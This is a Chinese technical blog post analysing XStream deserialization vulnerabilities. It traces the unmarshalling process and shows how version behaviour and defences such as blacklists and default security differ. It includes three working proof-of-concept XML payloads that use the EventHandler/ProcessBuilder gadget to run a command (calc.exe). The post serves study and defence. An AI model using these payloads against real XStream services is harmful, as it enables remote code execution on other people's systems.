XStream反序列化

XStream反序列化

  • 前言
  • 基础
    • 重要组件
      • MarshallingStrategy
        • 编码策略
        • 两个重要类
      • Mapper
      • Converter
      • DynamicProxyConverter
    • XStream编组/解组具体过程
      • 测试代码
      • fromXML解组
      • toXML编组
      • 总结
  • XStream漏洞
    • 漏洞原理
    • sorted-set触发
      • 环境和版本限制
      • 复现
      • 调试分析
      • 总结
      • 各种版本
        • <=1.3.1
        • 1.4-1.4.4
        • 1.4.7-1.4.9
        • 1.4.10
        • 1.4.11
    • 基于tree-map
      • <=1.4.6或=1.4.10
    • 基于接口的PoC
      • <=1.4.6或=1.4.10
    • 防御

前言

这里其实只分析了基础的,后面很多cve都已经不使用这种方式打了,我主要就是了解一下这个漏洞

基础

重要组件

在这里插入图片描述

MarshallingStrategy

编码策略

marshall : object->xml 编码
unmarshall : xml-> object 解码

两个重要类

TreeMarshaller: 树编组程序 调用Mapper和Converter把 java对象-> XML

它的start方法中在这里插入图片描述其中的convertAnother方法把java对象转化成XML

TreeUnmarshaller树解组程序 调用Mapper和Converter把 XML->java对象
里面的start方法开始解组,convertAnother方法把class转化成java对象。

public Object start(DataHolder dataHolder) {this.dataHolder = dataHolder;Class type = HierarchicalStreams.readClassType(reader, mapper);Object result = convertAnother(null, type);Iterator validations = validationList.iterator();while (validations.hasNext()) {Runnable runnable = (Runnable)validations.next();runnable.run();}return result;}

Mapper

就是我们的映射器在这里插入图片描述
就是我们序列化和反序列化的时候,获取的数据是从封装好的map里面获取的
通过mapper获取对象对应的类、成员、Field属性的Class对象,赋值给XML的标签字段。

Converter

这个就是反序列化和序列化的核心处理过程
Converter的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为XML或将XML转换为对象。

其中需要实现的三个方法

canConvert方法:告诉XStream对象,它能够转换的对象;
marshal方法:能够将对象转换为XML时候的具体操作;
unmarshal方法:能够将XML转换为对象时的具体操作;

Xstream在处理实现了Serializable接口和没有实现Serializable接口的类生成的对象时,方法是不一样的。

Xstream的思路是在反序列化时,通过不同的converter来处理不同类型的数据。

最外层的没有实现Serializable接口的类时用的是ReflectionConverter,该Converter的原理是通过反射获取类对象并通过反射为其每个属性进行赋值。

如果是处理实现了Serializable接口并且重写了readObject方法的对象时使用的是SerializableConverter,并且readObject方法也会被调用。

DynamicProxyConverter

DynamicProxyConverter即动态代理转换器,是XStream支持的一种转换器,其存在使得XStream能够把XML内容反序列化转换为动态代理类对象

XStream反序列化漏洞的PoC都是以DynamicProxyConverter这个转换器为基础来编写的。

example

<dynamic-proxy><interface>com.foo.Blah</interface><interface>com.foo.Woo</interface><handler class="com.foo.MyHandler"><something>blah</something></handler>
</dynamic-proxy>

dynamic-proxy标签在XStream反序列化之后会得到一个动态代理类对象,当访问了该对象的com.foo.Blah或com.foo.Woo这两个接口类中声明的方法时(即interface标签内指定的接口类),就会调用handler标签中的类方法com.foo.MyHandler

而最重要的类就是EventHandler

XStream编组/解组具体过程

测试代码

import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;public class Test {public static void main(String[] args) {// 创建XStream实例XStream xstream = new XStream(new DomDriver());// 定义一个简单的Java对象class Person {private String name;private int age;// 必须有一个无参构造函数public Person() {}public Person(String name, int age) {this.name = name;this.age = age;}public String getName() {return name;}public int getAge() {return age;}// 省略getter和setter方法}// 将Person类的实例序列化为XMLPerson person = new Person("John Doe", 30);String xml = xstream.toXML(person);System.out.println("Serialized XML:");System.out.println(xml);//         现在,假设我们从某个地方得到了XML,并希望将其反序列化为Person对象String xmlData = "<person><name>John Doe</name><age>30</age></person>";// 需要先为XStream注册要反序列化的类xstream.alias("person", Person.class);// 反序列化XML为Person对象Person decodedPerson = (Person) xstream.fromXML(xmlData);System.out.println("Deserialized Person:");System.out.println("Name: " + decodedPerson.getName());System.out.println("Age: " + decodedPerson.getAge());}
}

fromXML解组

fynch3r师傅讲得很好。直接用了

第一步:把String转化成StringReader,HierarchicalStreamDriver通过StringReader创建HierarchicalStreamReader,最后调用MarshallingStrategy的unmarshal方法开始解组

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
第二步:进入start方法,开始解析

public Object start(DataHolder dataHolder) {this.dataHolder = dataHolder;//通过Mapper获取对应节点的Class对象Class type = HierarchicalStreams.readClassType(this.reader, this.mapper);//Converter根据Class的类型转化成java对象Object result = this.convertAnother((Object)null, type);Iterator validations = this.validationList.iterator();while(validations.hasNext()) {Runnable runnable = (Runnable)validations.next();runnable.run();}return result;
}

先看readClassType里面做了什么事情:

public static Class readClassType(HierarchicalStreamReader reader, Mapper mapper) {String classAttribute = readClassAttribute(reader, mapper);Class type;if (classAttribute == null) {// 通过节点名获取Mapper中对应的Class对象type = mapper.realClass(reader.getNodeName());} else {type = mapper.realClass(classAttribute);}//返回值type就是obj对应的Class对象return type;
}

第三步 : convertAnother 方法

public Object convertAnother(Object parent, Class type, Converter converter) {//根据mapper获取type类对象的正确类型type = this.mapper.defaultImplementationOf(type);if (converter == null) {//根据type找到对应的converterconverter = this.converterLookup.lookupConverterForType(type);} else if (!converter.canConvert(type)) {ConversionException e = new ConversionException("Explicit selected converter cannot handle type");e.add("item-type", type.getName());e.add("converter-type", converter.getClass().getName());throw e;}return this.convert(parent, type, converter);
}

注意这里参数parent,converter默认都是null

如何查找对应的converter?

public Converter lookupConverterForType(Class type) {//先从缓存集合中查找ConverterConverter cachedConverter = (Converter)this.typeToConverterMap.get(type);if (cachedConverter != null) {return cachedConverter;} else {// 如果缓存中没有,那么就在converter中寻找Iterator iterator = this.converters.iterator();Converter converter;// 遍历converters找到符合的Converter	do {if (!iterator.hasNext()) {throw new ConversionException("No converter specified for " + type);}converter = (Converter)iterator.next();} while(!converter.canConvert(type));// 把这次找到的放在缓存集合中this.typeToConverterMap.put(type, converter);return converter;}
}

现在来到return this.convert(parent, type, converter);这句

会到com.thoughtworks.xstream.core.TreeUnmarshaller#convert这里:

protected Object convert(Object parent, Class type, Converter converter) {try {this.types.push(type);// 会进入这里Object result = converter.unmarshal(this.reader, this);this.types.popSilently();return result;} catch (ConversionException var6) {this.addInformationTo(var6, type, converter, parent);throw var6;} catch (RuntimeException var7) {ConversionException conversionException = new ConversionException(var7);this.addInformationTo(conversionException, type, converter, parent);throw conversionException;}
}

在这里插入图片描述

public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {// 构造Class类对象的instance实例,field没有赋值,都是默认值Object result = this.instantiateNewInstance(reader, context);// 对result的field赋值result = this.doUnmarshal(result, reader, context);return this.serializationMethodInvoker.callReadResolve(result);
}

toXML编组

不说了,为了整齐美观

总结

解析XML:首先,XStream使用内部的HierarchicalStreamReader(这可能是基于StAX,Xpp,JDOM等的实现)开始解析XML。

HierarchicalStreamReader会从XML的开头开始顺序读取所有的元素,并提供读取节点名称,节点值,属性等所有必要的方法。

查找对应的Converter:对于每一个读取到的节点,XStream会通过Mapper找到对应的Converter。Converter是用来将XML数据转换为Java对象的。XStream有许多内建的Converter,例如用于处理基本类型、集合、数组、枚举的Converter等,同时也允许用户自定义Converter。

调用Converter的unmarshal()方法:获取到对应的Converter后,XStream会调用它的unmarshal()方法,传入HierarchicalStreamReader,当前的context以及result。这个result是一个已经部分构建的对象,在一些特定情况下可以用来做更深层次的处理。

Converter生成对象:Converter会利用HierarchicalStreamReader提供的信息以及额外的上下文(context),生成Java对象。在这个过程中,Converter会读取节点的值,可能会再次查找并调用其他Converter处理节点内部的元素,也可能会根据属性生成特定的Java对象。

返回生成的对象:Converter生成的对象会返回到XStream中,XStream再返回到用户。

XStream漏洞

漏洞原理

原理就是我们的xml的反序列化是支持反序列化动态代理的,XStream支持一个名为DynamicProxyConverter的转换器,该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象,这个标签中可以指定一个接口,反序列化就是为这个接口生成一个动态代理,当调用这个接口的方法的时候,就会调用动态代理对象hander的invoke方法,我们可以控制dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类,然后传入恶意的参数实现恶意的利用

sorted-set触发

环境和版本限制

<dependency><groupId>com.thoughtworks.xstream</groupId><artifactId>xstream</artifactId><version>1.4.5</version></dependency>

影响版本
1.4.5,1.4.6,1.4.10

复现

import com.thoughtworks.xstream.XStream;import java.io.FileInputStream;
import java.io.FileNotFoundException;public class sorted {public static void main(String[] args) throws FileNotFoundException {FileInputStream fileInputStream=new FileInputStream("F:\\IntelliJ IDEA 2023.3.2\\java脚本\\ts\\src\\main\\java\\1.xml");XStream xstream=new XStream();xstream.fromXML(fileInputStream);}
}

1.xml

<sorted-set><string>foo</string><dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>calc.exe</string></command></target><action>start</action>
</handler>
</dynamic-proxy></sorted-set>

运行弹出计算器

调试分析

首先我们直接进入反序列化的流程从TreeUnmarshaller.start()开始分析
在这里插入图片描述

调用HierarchicalStreams.readClassType()来获取到PoC XML中根标签的类类型,然后调用convertAnother()函数开始对我们的type进行一个类型的转换在这里插入图片描述
然后调用 mapper.defaultImplementationOf(type);就是把我们的类型转为默认的实现在这里插入图片描述
然后就是一直找,找到就返回,最后找到的是java.util.TreeSet作为实现类
调用converterLookup.lookupConverterForType()来寻找TreeSet对应类型的转换器
通过调用Converter.canConvert()函数来判断该转换器是否能够转换出TreeSet类型,这里找到满足条件的TreeSetConverter转换器
在这里插入图片描述接着是调用typeToConverterMap.put(type, converter);将类型和转换器的对应关系放入Map表中,再返回转换器

然后一直convert方法,进入到AbstractReferenceUnmarshaller的convert方法

Object currentReferenceKey = getCurrentReferenceKey();parentStack.push(currentReferenceKey);

把我们获取到的标签压入栈中

convert:71, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)

最后到我们的父类TreeUnmarshaller 的convert方法,其中会调用

Object result = converter.unmarshal(reader, this);

也就是我们xml标签对于的实现类对应的转换器的unmarshal方法
这个方法最重要的就是

treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);

填充TreeMap在这里插入图片描述断是否是第一个元素,是的话就调用putCurrentEntryIntoMap()函数

Object key = readItem(reader, context, map);target.put(key, key);

内部调用readItem方法,读取我们的xml标签,然后给它找一个对应的转换器

Class type = HierarchicalStreams.readClassType(reader, mapper());return context.convertAnother(current, type);

在这里插入图片描述可以看到就是我们的外层xml标签

第外层元素的转换器获取好了之后调用reader.moveUp()返回到父节点

调用populateMap(reader, context, result, sortedMap);继续填充
在这里插入图片描述

内部会调用populateCollection方法去收集填充的对象在这里插入图片描述
通过moveDown去子节点,然后addCurrentElementToCollection方法

protected void addCurrentElementToCollection(HierarchicalStreamReader reader, UnmarshallingContext context,Collection collection, Collection target) {Object item = readItem(reader, context, collection);target.add(item);}

又重复去给我们的xml标签获取转换器然后又add进去,这个节点获取完成后reader.moveUp();回到父节点,就递归获取

下面到了重点部分
————————————————————
因为我们是有一个标签,当然也会去找它的转换器,就是我们的DynamicProxyConverter实现类 ,当然也会调用它的unmarshal方法

在这里插入图片描述
我们的实现类就是一个代理,它代理了compare接口,而实现类是我们的EventHandler

然后我们如果要触发漏洞,只需要调用这个代理类的方法触发我们的invoke就好了

我们继续看后面,当我们把所有标签都转换完成后

result.putAll(sortedMap);

会直接把结果putAll
我们跟进调用父类的putAll
对map的元素依次put放入
我们的map就是在这里插入图片描述当为我们的代理对象的时候

在这里插入图片描述
会调用代理对象的compareto方法,而我们说了我们是代理的conpare接口,内部就有compareto方法,所以会调用到EventHandler.invoke()

EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke()的函数调用链

在这里插入图片描述三个参数都是可以控制的,所以可以调用任意对象的任意方法

再次把POC给出来,让我们有更好的理解

<sorted-set><string>foo</string><dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>calc.exe</string></command></target><action>start</action>
</handler>
</dynamic-proxy></sorted-set>

总结

首先是PoC中构造了一对sorted-set标签,里面最重要的就是标签,它内部可以包含一个接口和一个对应的代理handler,我们反序列化的过程会不断的去把我们的标签给convert,当对我们的开始convert的时候,会为我们的接口创建一个动态代理,然后最后会把我们构造好的putall,在其中会因为我们的key其中之一就是代理对象,会调用key的compare方法,那么就会触发到代理对象的代理方法,触发invoke,触发恶意代码

XStream.fromXML
XStream.unmarshal
AbstractTreeMarshallingStrategy.unmarshal
TreeUnmarshaller.start
HierarchicalStreams.readClassType
TreeUnmarshaller.convertAnother
DefaultConverterLookup.lookupConverterForType
...
TreeSetConverter.unmarshal
TreeSetConverter.populateTreeMap
DynamicProxyConverter.unmarshal
...
ReflectionConverter.canConvert
...
TreeMap.putAll
AbstractMap.putAll
TreeMap.put
$Proxy0.compareTo
EventHandler.invoke
EventHandler.invokeInternal
MethodUtil.invoke

各种版本

<=1.3.1

在这里插入图片描述
可以看到是我们readclass不能再找到我们根标签sorted-set的默认实现类,所以不能利用

1.4-1.4.4

我们运行也没有报错,然后调试发现不能再进入populateTreeMap()方法,也就不会触发

result.putAll(sortedMap);

就走不到我们的invoke
看看为什么我们不能走到populateTreeMap()
在这里插入图片描述
因为我们的treeMap == null根本不会走到else分支
而更里面的原因是因为
在这里插入图片描述
这里我试着去挖掘一下,那我们不是发射修改就好了吗,但是注意的是我们能够控制的只是xml的内容,这个不是一般的反序列化流程了,所以没办法

1.4.7-1.4.9
Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: No converter specified for class java.beans.EventHandler
at com.thoughtworks.xstream.core.DefaultConverterLookup.lookupConverterForType(DefaultConverterLookup.java:61)at com.thoughtworks.xstream.XStream$1.lookupConverterForType(XStream.java:498)

说我们的EventHandler是没有converter specified ,DefaultConverterLookup.lookupConverterForType抛出了错误
发现在把我们的实现类转为convert的时候把handler给过滤了
在这里插入图片描述

1.4.10

我们知道1.4.7-1.4.9版本中是因为在ReflectionConverter.canConvert()函数中添加了对EventHandler类的过滤导致不能成功利用。

但是我们在1.4.10中发现ReflectionConverter.canConvert()函数中把对EventHandler类的过滤又去掉了

public boolean canConvert(Class type) {return (this.type != null && this.type == type || this.type == null && type != null) && this.canAccess(type);
}

在利用的过程中虽然能够成功触发,但是控制台会输出提示未初始化XStream安全框架、会存在漏洞风险

1.4.11

Mi1k7ea师傅讲得很好

Security framework of XStream not initialized, XStream is probably vulnerable.
Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: Security alert. Unmarshalling rejected.

拒绝反序列化目标类

1.4.11以后的版本XStream新增了一个Converter类InternalBlackList,可以看到其实现的canConverter()方法中对EventHandler类、以”javax.crypto.”开头的类、以”$LazyIterator”结尾的类都进行了匹配,而其marshal()和unmarshal()方法都是直接抛出异常的,换句话说就是匹配成功的直接抛出异常即黑名单过滤

private class InternalBlackList implements Converter {private InternalBlackList() {}public boolean canConvert(Class type) {return type == Void.TYPE || type == Void.class || !XStream.this.securityInitialized && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto."));}public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {throw new ConversionException("Security alert. Marshalling rejected.");}public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {throw new ConversionException("Security alert. Unmarshalling rejected.");}
}

在XStream.setupConverters()函数中注册转换器时,InternalBlackList的优先级为PRIORITY_LOW高于ReflectionConverter的优先级PRIORITY_VERY_LOW,因此会优先判断在这里插入图片描述
因此,在后面的调试中会发现,当要寻找EventHandler类的转换器时,会返回InternalBlackList转换器在这里插入图片描述
当调用该InternalBlackList转换器的unmarshal()方法时,直接抛出异常:在这里插入图片描述

基于tree-map

<=1.4.6或=1.4.10

我们上面除了黑名单的限制我们是无法绕过的之外,还有一个限制就是treeMap为null的问题,其实这个问题还是主要在于我们使用的sorted-set的转换器,当我们使用
得到的转换器是TreeMapConverter,至于其整个调用过程以及原理和前面sorted-set的差不多,只是转换器不一样了

因为本次payload用的是TreeMapConverter转换器,和前面TreeSetConverter不一样,这里不存在类似sortedMapField是否为null的限制,因为两个转换器的代理逻辑完全不一样

请添加图片描述

<tree-map><entry><string>fookey</string><string>foovalue</string></entry><entry><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>calc.exe</string></command></target><action>start</action></handler></dynamic-proxy><string>good</string></entry>
</tree-map>

基于接口的PoC

<=1.4.6或=1.4.10

但是缺点是,我们必须得知道服务端反序列化得到的是啥接口类。

修改Test.java,将Person类改为IPerson接口类,和ipayload.xml中的interface标签内容相对应

public class Test {public static void main(String[] args) throws FileNotFoundException {
//        String xml = new Scanner(new File("ipayload.xml")).useDelimiter("\\Z").next();FileInputStream xml = new FileInputStream("ipayload.xml");XStream xstream = new XStream(new DomDriver());IPerson p = (IPerson) xstream.fromXML(xml);p.output();}
}
<dynamic-proxy><interface>IPerson</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>calc.exe</string></command></target><action>start</action></handler>
</dynamic-proxy>

IPerson接口类必须定义成public即公有的,否则程序运行会报错显示没有权限访问该接口类。

防御

将XStream升级到最新版,即1.4.11之后的版本;

若只想手动修改代码,可以参考1.4.7-1.4.9版本的修补方法,在ReflectionConverter.canConvert()函数中添加了对包括EventHandler等类的过滤,当然这只是黑名单过滤方式,存在绕过风险

若版本号>=1.4.7,XStream提供了一个安全框架供用户使用,但必须手工设置,可以调用addPermission()、allowTypes()、denyTypes()等对某些类进行限制,即建立黑白名单机制进行过滤

XStream.addPermission(TypePermission;
XStream.allowTypes(Class [];
XStream.allowTypes(String [];
XStream.allowTypesByRegExp(String [];
XStream.allowTypesByRegExp(Pattern [];
XStream.allowTypesByWildcard(String [];
XStream.allowTypeHierary(Class;
XStream.denyPermission(TypePermission;
XStream.denyTypes(Class [];
XStream.denyTypes(String [];
XStream.denyTypesByRegExp(String [];
XStream.denyTypesByRegExp(Pattern [];
XStream.denyTypesByWildcard(String [];
XStream.denyTypeHierary(Class;

若是1.4.10版本,提供了XStream.setupDefaultSecurity()函数来设置XStream反序列化类型的默认白名单,其本质还是调用XStream提供的安全框架里的addPermission()、allowTypes()、denyTypes()等函数,区别在于自己定义了一些默认白名单,但必须手工设置,否则还是存在漏洞:

试下效果,在前面的Demo我们添加这个默认白名单过滤:

public class Test {public static void main(String[] args) throws FileNotFoundException {FileInputStream xml = new FileInputStream("ipayload.xml");XStream xstream = new XStream(new DomDriver());// 使用默认白名单过滤XStream.setupDefaultSecurity(xstream);Person p = (Person) xstream.fromXML(xml);p.output();}
}

运行后会报错,显示禁止反序列化动态代理类

参考1
参考2
后面有部分使用参考2的原文,懒得写了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/22805.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SD6210A 低噪声可调电荷泵DC/DC转换器芯片IC

一般描述 该SD6210A是一种低噪声&#xff0c;恒定频率(1.20MHz)开关电容电压倍增器。它产生一个调节输出电压从2.8V到5V的输入与高达250mA的输出电流。低外部零件数(一个飞行电容器和两个小旁路电容的VIN和VOUT)使SD6210A非常适合小型&#xff0c;电池供电的应用新的电荷…

Java面试题:解决Redis缓存击穿问题

缓存击穿 当一个key过期时,需要对这个key进行数据重建 在重建的时间内如果有大量的并发请求进入,就会绕过缓存进入数据库,会瞬间击垮DB 重建时间可能因为数据是多个表的混合结果需要分头统计而延长,从而更容易出现缓存击穿问题 缓存击穿的解决方案 添加互斥锁 先查询缓存…

Excel 每 N 行拼成一行

F列每四行对应一条记录&#xff1a; ABCDEF1NameAddressCityShort IDCompany 122222 al street3Blue cheese415Company 261111 arm rd7Ranch829Company 3103333 raindrop drive11Peanut123 需要把F列整理成规范表格&#xff0c;按行写入A-D&#xff1a; ABCDEF1NameAddressC…

Coolmuster iOS 数据擦除:隐私保护的终极方案

手机和平板电脑是我们不可或缺的伙伴&#xff0c;它们存储着我们的照片、联系人、私人消息以及工作文件。然而&#xff0c;当这些设备需要更换或者出售时&#xff0c;如何确保存储在其中的数据不被他人恢复和滥用&#xff0c;成为了一个严峻的问题。Coolmuster iOS 数据擦除&am…

Java(十)——内部类

文章目录 内部类静态内部类实例内部类匿名内部类局部内部类 内部类 Java内部类是一种特殊的类定义方式&#xff0c;它允许在一个类的内部定义另一个类。 内部类可以访问其所在外部类的成员变量和成员方法&#xff0c;这使得它非常适用于封装与外部类紧密相关的私有逻辑。 内…

地理加权回归GWR简介

地理加权回归GWR简介 一、定义&#xff1a; 地理加权回归&#xff08;Geographically Weighted Regression&#xff0c;简称GWR&#xff09;是一种空间数据分析方法&#xff0c;专门用于处理空间异质性&#xff08;spatial heterogeneity&#xff09;问题。以下是对GWR的详细简…

MOE原理解释及从零实现一个MOE(专家混合模型)

什么是混合模型&#xff08;MOE&#xff09; 一个MOE主要由两个关键点组成&#xff1a; 一是将传统Transformer中的FFN&#xff08;前馈网络层&#xff09;替换为多个稀疏的专家层&#xff08;Sparse MoE layers&#xff09;。每个专家本身是一个独立的神经网络&#xff0c;实…

[论文笔记]Mistral 7B

引言 今天带来大名鼎鼎的Mistral 7B的论文笔记。 作者推出了Mistral 7B&#xff0c;这是一个70亿参数的语言模型。Mistral 7B在所有评估基准中表现优于最佳的13B开源模型&#xff08;Llama 2&#xff09;&#xff0c;并且在推理、数学和代码生成方面胜过最佳发布的34B模型(Ll…

odoo qweb template小结

QWeb QWeb是一个基于XML的模板引擎,可用于生成HTML片段和页面。它使用XML格式来定义模板。QWeb通过在模板中添加特定的标记,来指示模板中的数据和逻辑部分。使用QWeb,你可以创建各种不同的模板,例如列表视图,表单视图和报告等。QWeb支持标准的HTML标记和控制结构,如if语…

D435相机结合Yolo V8识别出目标物体,并转点云出抓取位姿。

最近项目上需要完成整个识别、定位、到最后的抓取流程。 分享一下&#xff0c;通过使用D435相机并结合Yolo V8识别出目标物体后&#xff0c;抠取出目标物体部分的有效深度图&#xff0c;最后将前景物体部分的RGB D435相机结合Yolo V8识别出目标物体&#xff0c;并转点云出抓取位…

从高海拔到严寒季的测量作业更要「快准稳」,怎么实现?

西藏那曲海拔4500米公路勘测项目赶工期 “必须要保障在西藏那曲地区承接的公路勘测项目赶工期需求&#xff0c;海拔高达4500米、网络通讯不足、部分范围存在无网以及地基信号覆盖可能不足的情况&#xff0c;需要能满足环境和项目需求的专业RTK设备紧急送到。” 客户的一个电话…

做外贸是否需要代运营?

相信很多做外贸的小伙伴或者公司都有这样的一个困扰&#xff0c;尤其是做SEO以及平台的公司&#xff0c;会很纠结要不要将公司的运营承包出去。 而之所以有这样的困扰&#xff0c;一部分是公司的业务员可能并不擅长运营&#xff0c;或者是业务员抽不出时间去管理运营这块。 而…

映射网络驱动器自动断开的解决方法

如果将驱动器映射到网络共享&#xff0c;映射的驱动器可能会在定期处于非活动状态后断开连接&#xff0c;并且 Windows 资源管理器可能会在映射驱动器的图标上显示红色 X。&#xff0c;出现此行为的原因是&#xff0c;系统可以在指定的超时期限后断开空闲连接&#xff0c; (默认…

PWA缓存策略区别NetworkOnly/CacheFirst/CacheOnly/NetworkFirst/StaleWhileRevalidate

现在来看看 Workbox 提供的缓存策略&#xff0c;主要有这几种&#xff1a; cache-first, cache-only, network-first, network-only, stale-while-revalidate 在前面看到&#xff0c;实例化的时候会给 workbox 挂载一个 Strategies 的实例。提供上面一系列的缓存策略&…

半导体制造中的压缩气体及其高压扩散器如何选择 北京中邦兴业

了解高压扩散器 高压扩散器&#xff08;HPD&#xff09;对于保持压缩气体样品中颗粒计数的精度至关重要。它们充当颗粒计数器和压缩气体管线之间的纽带&#xff0c;在气体进入颗粒计数器的样品入口时使其扩散。这确保了压力得到控制&#xff0c;以防止对颗粒计数器样品室的敏感…

uniapp学习(001 前期介绍)

零基础入门uniapp Vue3组合式API版本到咸虾米壁纸项目实战&#xff0c;开发打包微信小程序、抖音小程序、H5、安卓APP客户端等 总时长 23:40:00 共116P 此文章包含第1p-第p10的内容 简介 目录结构 效果 打包成小程序 配置开发者工具 打开安全按钮 使用uniapp的内置组件…

3DMAX一键虚线图形插件DashedShape使用方法

3DMAX一键虚线图形插件使用方法 3dMax一键虚线图形插件&#xff0c;允许从场景中拾取的样条线创建虚线形状。该工具使你能够创建完全自定义的填充图案&#xff0c;为线段设置不同的材质ID&#xff0c;并在视口中进行方便的预览。 【版本要求】 3dMax 2012 – 2025&#xff08;…

数据结构与算法笔记:基础篇 - 数组:为什么数组都是从0开始编号

概述 提到数组&#xff0c;大家应该都不陌生。每一种编程语言基本都会有数组这种数据类型。不过&#xff0c;它不仅仅是一种编程语言中的数据类型&#xff0c;还是一种基础的数据结构。尽管数组看起来非常简单&#xff0c;但是我估计很多人并没有理解这个数据结构的精髓。 在…

AB测试实战

AB测试实战 1、AB测试介绍&#x1f43e; 很多网站/APP的首页都会挂一张头图(Banner)&#xff0c;用来展示重要信息&#xff0c;头图是否吸引人会对公司的营收带来重大影响&#xff0c;一家寿险公司Humana设计了如下三张头图&#xff0c;现在需要决定使用哪一张放到首页&#x…

FastDFS分布式文件系统

一、概述 FastDFS是一款由国人余庆开发的轻量级开源分布式文件系统&#xff0c;它对文件进行管理&#xff0c;功能包括&#xff1a;文件存储、文件同步、文件访问&#xff08;文件上传、文件下载&#xff09;等&#xff0c;主要解决大容量文件存储和高并发访问问题&#xff0c…